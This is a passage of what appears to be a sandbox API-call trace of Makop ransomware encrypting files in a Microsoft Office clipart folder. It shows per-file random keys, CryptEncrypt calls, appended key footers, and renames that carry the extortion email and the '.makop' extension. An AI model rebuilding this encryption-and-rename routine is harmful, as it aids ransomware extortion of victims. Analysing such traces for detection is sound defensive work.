lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.006] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf5c, lpOverlapped=0x0) returned 1 [0148.007] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60, dwBufLen=0xf60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60) returned 1 [0148.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf60, lpOverlapped=0x0) returned 1 [0148.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.007] SetEndOfFile (hFile=0xf0) returned 1 [0148.014] GetProcessHeap () returned 0x48a0000 [0148.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.015] GetProcessHeap () returned 0x48a0000 [0148.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.015] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.016] CloseHandle (hObject=0xf0) returned 1 [0148.017] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0148.017] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 63 [0148.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.019] GetProcessHeap () returned 0x48a0000 [0148.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.019] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.024] GetProcessHeap () returned 0x48a0000 [0148.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.026] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1dac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1dac, lpOverlapped=0x0) returned 1 [0148.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1db0) returned 1 [0148.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1db0, lpOverlapped=0x0) returned 1 [0148.028] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.028] SetEndOfFile (hFile=0xf0) returned 1 [0148.035] GetProcessHeap () returned 0x48a0000 [0148.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.035] GetProcessHeap () returned 0x48a0000 [0148.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.035] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.037] CloseHandle (hObject=0xf0) returned 1 [0148.037] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0148.037] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 63 [0148.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.039] GetProcessHeap () returned 0x48a0000 [0148.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.039] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.045] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.045] GetProcessHeap () returned 0x48a0000 [0148.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.045] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.045] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.045] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.045] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.046] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.046] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1268, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1268, lpOverlapped=0x0) returned 1 [0148.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270, dwBufLen=0x1270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270) returned 1 [0148.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1270, lpOverlapped=0x0) returned 1 [0148.050] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.051] SetEndOfFile (hFile=0xf0) returned 1 [0148.057] GetProcessHeap () returned 0x48a0000 [0148.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.058] GetProcessHeap () returned 0x48a0000 [0148.058] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.058] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.060] CloseHandle (hObject=0xf0) returned 1 [0148.060] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0148.060] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF") returned 63 [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.061] GetProcessHeap () returned 0x48a0000 [0148.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.061] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.062] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.062] GetProcessHeap () returned 0x48a0000 [0148.062] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.062] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.062] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.062] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.068] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20e0, lpOverlapped=0x0) returned 1 [0148.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20e0, dwBufLen=0x20e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20e0) returned 1 [0148.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20e0, lpOverlapped=0x0) returned 1 [0148.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.077] SetEndOfFile (hFile=0xf0) returned 1 [0148.085] GetProcessHeap () returned 0x48a0000 [0148.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.085] GetProcessHeap () returned 0x48a0000 [0148.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.085] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.087] CloseHandle (hObject=0xf0) returned 1 [0148.087] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0148.088] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 63 [0148.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.089] GetProcessHeap () returned 0x48a0000 [0148.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.090] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0148.096] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.096] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.096] GetProcessHeap () returned 0x48a0000 [0148.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.096] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.097] WriteFile (in: 